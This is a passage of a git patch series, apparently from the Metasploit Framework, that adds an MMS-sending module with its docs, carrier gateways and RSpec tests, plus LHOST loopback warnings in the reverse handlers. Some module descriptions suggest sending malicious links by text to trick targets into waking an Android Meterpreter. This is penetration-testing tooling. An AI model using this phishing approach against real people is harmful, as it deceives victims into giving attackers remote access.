+* image/jpeg +* image/gif +* image/png +* video/mp4 + +To find more, please try this [list](http://www.freeformatter.com/mime-types-list.html) + +**SMTPADDRESS** + +The mail server address you wish to use to send the MMS messages. + +**SMTPPORT** + +The mail server port. By default, this is ```25```. + +**SMTPUSERNAME** + +The username you use to log into the SMTP server. + +**SMTPPASSWORD** + +The password you use to log into the SMTP server. + +**SMTPFROM** + +The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. + +## Supported Carrier Gateways + +The module supports the following carriers: + +* AT&T +* Sprint +* T-Mobile +* Verizon + +## Finding the Carrier for a Phone Number + +Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out +how to identify the carrier of a phone number. There are many services that can do this, such as: + +http://freecarrierlookup.com/ + +## Gmail SMTP Example + +Gmail is a popular mail server, so we will use this as a demonstration. + +Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en). + +After creating the application password, configure auxiliary/client/mms/send_mms this way: + +* ```set cellnumbers [PHONE NUMBER]``` +* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]``` +* ```set textmessage "[TEXT MESSAGE]"``` +* ```set smtpaddress smtp.gmail.com``` +* ```set smtpport 587``` +* ```set mmsfile /tmp/example.mp4``` +* ```set mmsfilectype video/mp4``` +* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end) +* ```set smtppassword [APPLICATION PASSWORD]``` + +And you should be ready to go. + +## Yahoo SMTP Example + +Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail), +so we will demonstrate as well. + +Before using the module, you must do this to your Yahoo account: + +1. Sign in to Yahoo Mail. +2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps) +3. Turn on Allow apps that use less secure sign in. + +After configuring your Yahoo account, configure auxiliary/client/mms/send_mms this way: + +* ```set cellnumbers [PHONE NUMBER]``` +* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]``` +* ```set textmessage "[TEXT MESSAGE]"``` +* ```set smtpaddress smtp.mail.yahoo.com``` +* ```set smtpport 25``` +* ```set mmsfile /tmp/example.mp4``` +* ```set mmsfilectype video/mp4``` +* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com``` +* ```set smtppassword [YAHOO LOGIN PASSWORD]``` + +And you're good to go. + +## Demonstration + +After setting up your mail server and the module, your output should look similar to this: + +``` +msf auxiliary(send_mms) > run + +[*] Sending mms message to 1 number(s)... +[*] Done. +[*] Auxiliary module execution completed +msf auxiliary(send_mms) > +``` diff --git a/lib/rex/proto/mms/model/message.rb b/lib/rex/proto/mms/model/message.rb index 365d55ea8f..cc007cf7fb 100644 --- a/lib/rex/proto/mms/model/message.rb +++ b/lib/rex/proto/mms/model/message.rb @@ -82,7 +82,7 @@ module Rex body = Rex::MIME::Message.new body.add_part(text.to_s, "multipart/alternative; boundary=#{text.bound}", nil) if self.attachment - body.add_part(self.attachment, "image/jpeg; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"") + body.add_part(self.attachment, "#{content_type}; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"") end mms = "MIME-Version: 1.0\n" From dc36bc4a0dd15ab90e72980a2043ab60e35b6d6c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 16:49:42 -0600 Subject: [PATCH 13/39] Add rspec --- lib/rex/proto/mms/model/message.rb | 2 +- spec/lib/rex/proto/mms/client_spec.rb | 60 ++++++++++++++++++++ spec/lib/rex/proto/mms/model/message_spec.rb | 56 ++++++++++++++++++ spec/lib/rex/proto/mms/model/smtp_spec.rb | 57 +++++++++++++++++++ 4 files changed, 174 insertions(+), 1 deletion(-) create mode 100644 spec/lib/rex/proto/mms/client_spec.rb create mode 100644 spec/lib/rex/proto/mms/model/message_spec.rb create mode 100644 spec/lib/rex/proto/mms/model/smtp_spec.rb diff --git a/lib/rex/proto/mms/model/message.rb b/lib/rex/proto/mms/model/message.rb index cc007cf7fb..204d64a451 100644 --- a/lib/rex/proto/mms/model/message.rb +++ b/lib/rex/proto/mms/model/message.rb @@ -69,7 +69,7 @@ module Rex # @return [String] Base64 data def load_file_to_base64(path) buf = File.read(path) - Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n" + (Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n").strip end diff --git a/spec/lib/rex/proto/mms/client_spec.rb b/spec/lib/rex/proto/mms/client_spec.rb new file mode 100644 index 0000000000..ded2ea42c0 --- /dev/null +++ b/spec/lib/rex/proto/mms/client_spec.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/mms/model' + +RSpec.describe Rex::Proto::Mms::Client do + + let(:phone_numbers) { ['1112223333'] } + + let(:message) { 'message' } + + let(:attachment) { 'file.jpg' } + + let(:file_content) { 'content' } + + let(:ctype) { 'ctype' } + + let(:carrier) { :verizon } + + let(:smtp_server) { + Rex::Proto::Sms::Model::Smtp.new( + address: 'example.com', + port: 25, + username: 'username', + password: 'password' + ) + } + + subject do + Rex::Proto::Mms::Client.new( + carrier: carrier, + smtp_server: smtp_server + ) + end + + describe '#initialize' do + it 'sets carrier' do + expect(subject.carrier).to eq(carrier) + end + + it 'sets smtp server' do + expect(subject.smtp_server).to eq(smtp_server) + end + end + + describe '#send_mms_to_phones' do + before(:each) do + smtp = Net::SMTP.new(smtp_server.address, smtp_server.port) + allow(smtp).to receive(:start).and_yield + allow(smtp).to receive(:send_message) { |args| @sent_message = args } + allow(Net::SMTP).to receive(:new).and_return(smtp) + allow(File).to receive(:read).and_return(file_content) + end + + it 'sends an mms message' do + subject.send_mms_to_phones(phone_numbers, message, attachment, ctype) + expect(@sent_message).to include('MIME-Version: 1.0') + end + end + +end diff --git a/spec/lib/rex/proto/mms/model/message_spec.rb b/spec/lib/rex/proto/mms/model/message_spec.rb new file mode 100644 index 0000000000..959f92815e --- /dev/null +++ b/spec/lib/rex/proto/mms/model/message_spec.rb @@ -0,0 +1,56 @@ +require 'spec_helper' +require 'rex/proto/mms/model' + +RSpec.describe Rex::Proto::Mms::Model::Message do + + let(:message) { 'message' } + let(:content_type) { 'ctype' } + let(:attachment) { 'filepath.jpg' } + let(:filecontent) { 'file content' } + let(:from) { 'sender@example.com' } + let(:to) { 'receiver@example.com' } + + before(:each) do + allow(File).to receive(:read).and_return(filecontent) + end + + subject do + described_class.new( + from: from, + to: to, + message: message, + content_type: content_type, + attachment_path: attachment + ) + end + + describe '#initialize' do + it 'sets message' do + expect(subject.message).to eq(message) + end + + it 'sets content type' do + expect(subject.content_type).to eq(content_type) + end + + it 'sets attachment path' do + expect(subject.attachment).to eq('ZmlsZSBjb250ZW50') + end + + it 'sets from' do + expect(subject.from).to eq(from) + end + + it 'sets to' do + expect(subject.to).to eq(to) + end + end + + describe '#to_s' do + it 'returns the mms message' do + expect(subject.to_s).to include('MIME-Version: 1.0') + + end + end + +end diff --git a/spec/lib/rex/proto/mms/model/smtp_spec.rb b/spec/lib/rex/proto/mms/model/smtp_spec.rb new file mode 100644 index 0000000000..adcc06bb5b --- /dev/null +++ b/spec/lib/rex/proto/mms/model/smtp_spec.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/mms/model' + +RSpec.describe Rex::Proto::Mms::Model::Smtp do + + let(:address) { 'example.com' } + let(:port) { 25 } + let(:username) { 'username' } + let(:password) { 'password' } + let(:login_type) { :login } + let(:from) { 'from' } + let(:helo_domain) { 'example.com'} + + subject do + Rex::Proto::Mms::Model::Smtp.new( + address: address, + port: port, + username: username, + password: password, + login_type: login_type, + from: from, + helo_domain: helo_domain + ) + end + + describe '#initialize' do + it 'sets address' do + expect(subject.address).to eq(address) + end + + it 'sets port' do + expect(subject.port).to eq(port) + end + + it 'sets username' do + expect(subject.username).to eq(username) + end + + it 'sets password' do + expect(subject.password).to eq(password) + end + + it 'sets login_type' do + expect(subject.login_type).to eq(login_type) + end + + it 'sets from' do + expect(subject.from).to eq(from) + end + + it 'sets helo domain' do + expect(subject.helo_domain).to eq(helo_domain) + end + end + +end From a634fec8b339ca1e6272f74f5315e0a93d0c86dd Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 16:51:17 -0600 Subject: [PATCH 14/39] Fix typo --- spec/lib/rex/proto/mms/client_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/rex/proto/mms/client_spec.rb b/spec/lib/rex/proto/mms/client_spec.rb index ded2ea42c0..dca9fbb4a9 100644 --- a/spec/lib/rex/proto/mms/client_spec.rb +++ b/spec/lib/rex/proto/mms/client_spec.rb @@ -17,7 +17,7 @@ RSpec.describe Rex::Proto::Mms::Client do let(:carrier) { :verizon } let(:smtp_server) { - Rex::Proto::Sms::Model::Smtp.new( + Rex::Proto::Mms::Model::Smtp.new( address: 'example.com', port: 25, username: 'username', From e327f9b330e57c074e45063c5bbb357b9ae1047e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 16:55:06 -0600 Subject: [PATCH 15/39] Update other module descriptions --- modules/auxiliary/client/sms/send_text.rb | 4 ++-- modules/auxiliary/server/android_browsable_msf_launch.rb | 3 +++ 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/client/sms/send_text.rb b/modules/auxiliary/client/sms/send_text.rb index 8bc0382db4..8dbff90190 100644 --- a/modules/auxiliary/client/sms/send_text.rb +++ b/modules/auxiliary/client/sms/send_text.rb @@ -16,8 +16,8 @@ class MetasploitModule < Msf::Auxiliary This module sends a text message to multiple phones of the same carrier. You can use it to send a malicious link to phones. - Please note that you do not use this module to send a media file (attachment), - because that is MMS. + Please note that you do not use this module to send a media file (attachment). + In order to send a media file, please use auxiliary/client/mms/send_mms instead. }, 'Author' => [ 'sinn3r' ], 'License' => MSF_LICENSE diff --git a/modules/auxiliary/server/android_browsable_msf_launch.rb b/modules/auxiliary/server/android_browsable_msf_launch.rb index 6763597f09..dbe22bad58 100644 --- a/modules/auxiliary/server/android_browsable_msf_launch.rb +++ b/modules/auxiliary/server/android_browsable_msf_launch.rb @@ -16,6 +16,9 @@ class MetasploitModule < Msf::Auxiliary This module allows you to open an android meterpreter via a browser. An Android meterpreter must be installed as an application beforehand on the target device in order to use this. + + For best results, you can consider using the auxiliary/client/sms/send_text to + trick your target into opening the malicious link, and wake up Meterpreter. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], From 036a443a411c705ad307d9e4d1eebfe39e24bb06 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 17:02:32 -0600 Subject: [PATCH 16/39] Add Google Fi gateway --- documentation/modules/auxiliary/client/mms/send_mms.md | 1 + lib/rex/proto/mms/model.rb | 9 +++++---- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/documentation/modules/auxiliary/client/mms/send_mms.md b/documentation/modules/auxiliary/client/mms/send_mms.md index c803b2206a..ef760c74ad 100644 --- a/documentation/modules/auxiliary/client/mms/send_mms.md +++ b/documentation/modules/auxiliary/client/mms/send_mms.md @@ -77,6 +77,7 @@ The module supports the following carriers: * Sprint * T-Mobile * Verizon +* Google Fi ## Finding the Carrier for a Phone Number diff --git a/lib/rex/proto/mms/model.rb b/lib/rex/proto/mms/model.rb index 2a61587182..6bbd343146 100644 --- a/lib/rex/proto/mms/model.rb +++ b/lib/rex/proto/mms/model.rb @@ -6,10 +6,11 @@ module Rex module Model GATEWAYS = { - att:'mms.att.net', # AT&T Wireless - sprint: 'pm.sprint.com', # Sprint - tmobile: 'tmomail.net', # T-Mobile - verizon: 'vzwpix.com' # Verizon + att:'mms.att.net', # AT&T Wireless + sprint: 'pm.sprint.com', # Sprint + tmobile: 'tmomail.net', # T-Mobile + verizon: 'vzwpix.com', # Verizon + google: 'msg.fi.google.com' # Google } end From ed22902fd4c5921315ca26ace03877d3740e7dda Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 8 Mar 2017 11:40:08 -0600 Subject: [PATCH 17/39] Support the subject field --- documentation/modules/auxiliary/client/mms/send_mms.md | 4 ++++ lib/msf/core/auxiliary/mms.rb | 10 +++++++--- lib/rex/proto/mms/client.rb | 3 ++- lib/rex/proto/mms/model/message.rb | 5 +++++ modules/auxiliary/client/mms/send_mms.rb | 2 +- spec/lib/rex/proto/mms/model/message_spec.rb | 6 ++++++ 6 files changed, 25 insertions(+), 5 deletions(-) diff --git a/documentation/modules/auxiliary/client/mms/send_mms.md b/documentation/modules/auxiliary/client/mms/send_mms.md index ef760c74ad..4be2ef46d8 100644 --- a/documentation/modules/auxiliary/client/mms/send_mms.md +++ b/documentation/modules/auxiliary/client/mms/send_mms.md @@ -69,6 +69,10 @@ The password you use to log into the SMTP server. The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. +**MMSSUBJECT** + +The MMS subject. Some carriers require this in order to receive the text, such as AT&T. + ## Supported Carrier Gateways The module supports the following carriers: diff --git a/lib/msf/core/auxiliary/mms.rb b/lib/msf/core/auxiliary/mms.rb index 2a6af81696..d5c7d0a50e 100644 --- a/lib/msf/core/auxiliary/mms.rb +++ b/lib/msf/core/auxiliary/mms.rb @@ -17,6 +17,7 @@ module Msf [ OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']), OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']), + OptString.new('MMSSUBJECT', [false, 'The Email subject', '']), OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]), OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']), OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']), @@ -43,22 +44,25 @@ module Msf # mms.send_mms_to_phones(numbers, 'hello world?', '/tmp/test.jpg', 'image/jpeg') # # @param phone_numbers [Array] An array of numbers of try (of the same carrier) + # @param subject [String] MMS subject # @param message [String] The text to send. + # @param attachment_path [String] Optional + # @param ctype [String] Optional # # @return [void] - def send_mms(phone_numbers, message, attachment_path=nil, ctype=nil) + def send_mms(phone_numbers, subject, message, attachment_path=nil, ctype=nil) smtp = Rex::Proto::Mms::Model::Smtp.new( address: datastore['SMTPADDRESS'], port: datastore['SMTPPORT'], username: datastore['SMTPUSERNAME'], password: datastore['SMTPPASSWORD'], login_type: datastore['SmtpLoginType'].to_sym, - from: datastore['SMTPFROM'] + from: datastore['SMTPFROM'], ) carrier = datastore['MMSCARRIER'].to_sym mms = Rex::Proto::Mms::Client.new(carrier: carrier, smtp_server: smtp) - mms.send_mms_to_phones(phone_numbers, message, attachment_path, ctype) + mms.send_mms_to_phones(phone_numbers, subject, message, attachment_path, ctype) end end diff --git a/lib/rex/proto/mms/client.rb b/lib/rex/proto/mms/client.rb index 015e2cde91..ba06980b88 100644 --- a/lib/rex/proto/mms/client.rb +++ b/lib/rex/proto/mms/client.rb @@ -32,12 +32,13 @@ module Rex # Sends a media text to multiple recipients. # # @param phone_numbers [Array] An array of phone numbers. + # @param subject [String] MMS subject # @param message [String] The message to send. # @param attachment_path [String] (Optional) The attachment to include # @param ctype [String] (Optional) The content type to use for the attachment # # @return [void] - def send_mms_to_phones(phone_numbers, message, attachment_path=nil, ctype=nil) + def send_mms_to_phones(phone_numbers, subject, message, attachment_path=nil, ctype=nil) carrier = Rex::Proto::Mms::Model::GATEWAYS[self.carrier] recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" } address = self.smtp_server.address diff --git a/lib/rex/proto/mms/model/message.rb b/lib/rex/proto/mms/model/message.rb index 204d64a451..9469b446c2 100644 --- a/lib/rex/proto/mms/model/message.rb +++ b/lib/rex/proto/mms/model/message.rb @@ -26,6 +26,10 @@ module Rex # @return [String] The to field in the email attr_accessor :to + # @!attribute subject + # @return [String] The subject of the email + attr_accessor :subject + # @!attribute attachment_name # @return [String] The attachment base name extracted from :attachment attr_accessor :attachment_name @@ -88,6 +92,7 @@ module Rex mms = "MIME-Version: 1.0\n" mms << "From: #{self.from}\n" mms << "To: #{self.to}\n" + mms << "Subject: #{self.subject}\n" mms << "Content-Type: multipart/mixed; boundary=#{body.bound}\n" mms << "\n" mms << body.to_s.gsub(/\-\-\r\n\r\n\-\-_/, "--\n--_") diff --git a/modules/auxiliary/client/mms/send_mms.rb b/modules/auxiliary/client/mms/send_mms.rb index 3fd64eb896..f7b8f250ce 100644 --- a/modules/auxiliary/client/mms/send_mms.rb +++ b/modules/auxiliary/client/mms/send_mms.rb @@ -25,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary phone_numbers = datastore['CELLNUMBERS'].split print_status("Sending mms message to #{phone_numbers.length} number(s)...") begin - res = send_mms(phone_numbers, datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE']) + res = send_mms(phone_numbers, datastore['MMSSUBJECT'], datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE']) print_status("Done.") rescue Rex::Proto::Mms::Exception => e print_error(e.message) diff --git a/spec/lib/rex/proto/mms/model/message_spec.rb b/spec/lib/rex/proto/mms/model/message_spec.rb index 959f92815e..93f20cc426 100644 --- a/spec/lib/rex/proto/mms/model/message_spec.rb +++ b/spec/lib/rex/proto/mms/model/message_spec.rb @@ -9,6 +9,7 @@ RSpec.describe Rex::Proto::Mms::Model::Message do let(:filecontent) { 'file content' } let(:from) { 'sender@example.com' } let(:to) { 'receiver@example.com' } + let(:subject) { 'subject' } before(:each) do allow(File).to receive(:read).and_return(filecontent) @@ -18,6 +19,7 @@ RSpec.describe Rex::Proto::Mms::Model::Message do described_class.new( from: from, to: to, + subject: subject, message: message, content_type: content_type, attachment_path: attachment @@ -44,6 +46,10 @@ RSpec.describe Rex::Proto::Mms::Model::Message do it 'sets to' do expect(subject.to).to eq(to) end + + it 'sets subject' do + expect(subject.to).to receive(subject) + end end describe '#to_s' do From 702d1c2b7e5755c0f9c66b020906a23caa0e8b4a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 8 Mar 2017 11:43:36 -0600 Subject: [PATCH 18/39] Fix bug for subject --- lib/rex/proto/mms/client.rb | 3 ++- lib/rex/proto/mms/model/message.rb | 1 + spec/lib/rex/proto/mms/client_spec.rb | 4 +++- 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/mms/client.rb b/lib/rex/proto/mms/client.rb index ba06980b88..e05b10cf51 100644 --- a/lib/rex/proto/mms/client.rb +++ b/lib/rex/proto/mms/client.rb @@ -60,7 +60,8 @@ module Rex content_type: ctype, attachment_path: attachment_path, from: from, - to: r + to: r, + subject: subject ) smtp.send_message(mms_message.to_s, from, r) end diff --git a/lib/rex/proto/mms/model/message.rb b/lib/rex/proto/mms/model/message.rb index 9469b446c2..2da3aa6f3b 100644 --- a/lib/rex/proto/mms/model/message.rb +++ b/lib/rex/proto/mms/model/message.rb @@ -49,6 +49,7 @@ module Rex self.from = opts[:from] self.to = opts[:to] self.message = opts[:message] + self.subject = opts[:subject] self.content_type = opts[:content_type] if opts[:attachment_path] self.attachment = load_file_to_base64(opts[:attachment_path]) diff --git a/spec/lib/rex/proto/mms/client_spec.rb b/spec/lib/rex/proto/mms/client_spec.rb index dca9fbb4a9..256c66775f 100644 --- a/spec/lib/rex/proto/mms/client_spec.rb +++ b/spec/lib/rex/proto/mms/client_spec.rb @@ -12,6 +12,8 @@ RSpec.describe Rex::Proto::Mms::Client do let(:file_content) { 'content' } + let(:subject) { 'subject' } + let(:ctype) { 'ctype' } let(:carrier) { :verizon } @@ -52,7 +54,7 @@ RSpec.describe Rex::Proto::Mms::Client do end it 'sends an mms message' do - subject.send_mms_to_phones(phone_numbers, message, attachment, ctype) + subject.send_mms_to_phones(phone_numbers, subject, message, attachment, ctype) expect(@sent_message).to include('MIME-Version: 1.0') end end From d6bc56d665ccfedd511f9c034146de87b5395efb Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 8 Mar 2017 11:49:19 -0600 Subject: [PATCH 19/39] Update doc --- documentation/modules/auxiliary/client/mms/send_mms.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/client/mms/send_mms.md b/documentation/modules/auxiliary/client/mms/send_mms.md index 4be2ef46d8..f675585dd1 100644 --- a/documentation/modules/auxiliary/client/mms/send_mms.md +++ b/documentation/modules/auxiliary/client/mms/send_mms.md @@ -67,7 +67,8 @@ The password you use to log into the SMTP server. **SMTPFROM** -The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. +The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. Some carriers require this +in order to receive the text, such as AT&T. **MMSSUBJECT** From 2a5815749ceebcdce2b8fd3048466651fa5ce8a2 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 8 Mar 2017 13:39:24 -0600 Subject: [PATCH 20/39] Update rspec --- spec/lib/rex/proto/mms/model/message_spec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/spec/lib/rex/proto/mms/model/message_spec.rb b/spec/lib/rex/proto/mms/model/message_spec.rb index 93f20cc426..61afbac436 100644 --- a/spec/lib/rex/proto/mms/model/message_spec.rb +++ b/spec/lib/rex/proto/mms/model/message_spec.rb @@ -9,7 +9,7 @@ RSpec.describe Rex::Proto::Mms::Model::Message do let(:filecontent) { 'file content' } let(:from) { 'sender@example.com' } let(:to) { 'receiver@example.com' } - let(:subject) { 'subject' } + let(:mms_subject) { 'subject' } before(:each) do allow(File).to receive(:read).and_return(filecontent) @@ -19,7 +19,7 @@ RSpec.describe Rex::Proto::Mms::Model::Message do described_class.new( from: from, to: to, - subject: subject, + subject: mms_subject, message: message, content_type: content_type, attachment_path: attachment @@ -48,7 +48,7 @@ RSpec.describe Rex::Proto::Mms::Model::Message do end it 'sets subject' do - expect(subject.to).to receive(subject) + expect(subject.subject).to eq(mms_subject) end end From 2f55b5e00e011d8cbba3efe29003e70a7d5b217b Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 11:10:27 -0700 Subject: [PATCH 21/39] reconfigure lhost warn for loopback address --- lib/msf/core/handler/reverse.rb | 33 ++++++++++++++-------------- lib/msf/core/handler/reverse_http.rb | 18 ++++++++++++++- 2 files changed, 34 insertions(+), 17 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index f9d093182d..31e0112657 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -48,17 +48,6 @@ module Msf addrs end - #Function to check for loopback addresses - def loopback_addr(addr) - begin - a=IPAddr.new(addr.to_s) - return true if - IPAddr.new('127.0.0.1/8') === a - return true if IPAddr.new('::1') ==a - rescue - end - false - end # @return [Integer] @@ -94,11 +83,23 @@ module Msf 'MsfPayload' => self, 'MsfExploit' => assoc_exploit }) - #Checking whether LHOST is a loopback address - if loopback_addr(ip) ==true - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?\n") - end - + #Checking whether LHOST is a loopback address + + #Function to check for loopback addresses + def is_loopback_address(address) + begin + a = IPAddr.new(address.to_s) + return true if IPAddr.new('127.0.0.1/8') == a + return true if IPAddr.new('::1') == a + rescue + end + return false + end + + if is_loopback_address(ip) + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?\n") + end + rescue ex = $! print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 2a2b6552a2..f5b33ceb59 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -356,6 +356,23 @@ protected print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...") + + # Checking whether LHOST is a loopback address + + def is_loopback_address(address) + begin + a = IPAddr.new(address.to_s) + return true if IPAddr.new('127.0.0.1/8') == a + return true if IPAddr.new('::1') == a + rescue + end + return false + end + + if is_loopback_address(uri.host) + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{uri.host}, did you mean to set ReverseListenerBindAddress instead?\n") + end + resp.body = blob # Short-circuit the payload's handle_connection processing for create_session @@ -419,4 +436,3 @@ end end end - From 274089a7f1fa3f497d96d5cab1efa7ee204ddaa0 Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 11:33:27 -0700 Subject: [PATCH 22/39] cleanup for lhost loopback warn --- lib/msf/core/handler/reverse.rb | 10 +++++----- lib/msf/core/handler/reverse_http.rb | 4 ++-- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 31e0112657..5f9bdee8a0 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -83,20 +83,20 @@ module Msf 'MsfPayload' => self, 'MsfExploit' => assoc_exploit }) - #Checking whether LHOST is a loopback address - #Function to check for loopback addresses + #Checking whether LHOST is a loopback address + def is_loopback_address(address) begin a = IPAddr.new(address.to_s) - return true if IPAddr.new('127.0.0.1/8') == a - return true if IPAddr.new('::1') == a + return true if IPAddr.new('127.0.0.1/8') === a + return true if IPAddr.new('::1') === a rescue end return false end - if is_loopback_address(ip) + if is_loopback_address(ip) print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?\n") end diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index f5b33ceb59..dd82bf996d 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -362,8 +362,8 @@ protected def is_loopback_address(address) begin a = IPAddr.new(address.to_s) - return true if IPAddr.new('127.0.0.1/8') == a - return true if IPAddr.new('::1') == a + return true if IPAddr.new('127.0.0.1/8') === a + return true if IPAddr.new('::1') === a rescue end return false From e7b47865be9044acb1bb51162cf0d6b9e12b1987 Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 12:23:02 -0700 Subject: [PATCH 23/39] ruby formatting fix --- lib/msf/core/handler/reverse_http.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index dd82bf996d..a02745e1a1 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -364,9 +364,9 @@ protected a = IPAddr.new(address.to_s) return true if IPAddr.new('127.0.0.1/8') === a return true if IPAddr.new('::1') === a - rescue + rescue end - return false + return false end if is_loopback_address(uri.host) From 40204703f020cfe9fc7e690b9b09c1c347e7c4fe Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 12:26:11 -0700 Subject: [PATCH 24/39] remove unnecessary newline --- lib/msf/core/handler/reverse.rb | 2 +- lib/msf/core/handler/reverse_http.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 5f9bdee8a0..b06f26ddda 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -97,7 +97,7 @@ module Msf end if is_loopback_address(ip) - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?\n") + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") end rescue diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index a02745e1a1..d2025c9f36 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -370,7 +370,7 @@ protected end if is_loopback_address(uri.host) - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{uri.host}, did you mean to set ReverseListenerBindAddress instead?\n") + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{uri.host}, did you mean to set ReverseListenerBindAddress instead?") end resp.body = blob From 10018e2a32523aa7b163bd2d4770ba49f50f04a7 Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 12:48:36 -0700 Subject: [PATCH 25/39] spacing fix in reverse.rb --- lib/msf/core/handler/reverse.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index b06f26ddda..39dced60c2 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -96,9 +96,9 @@ module Msf return false end - if is_loopback_address(ip) - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") - end + if is_loopback_address(ip) + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") + end rescue ex = $! From ccf345f696952fd8e8971422253c8d581b3227eb Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 14:32:51 -0700 Subject: [PATCH 26/39] move method to module level --- lib/msf/core/handler/reverse.rb | 24 +++++++++++------------- lib/msf/core/handler/reverse_http.rb | 13 ------------- 2 files changed, 11 insertions(+), 26 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 39dced60c2..d6c3d712c6 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -49,13 +49,23 @@ module Msf addrs end - # @return [Integer] def 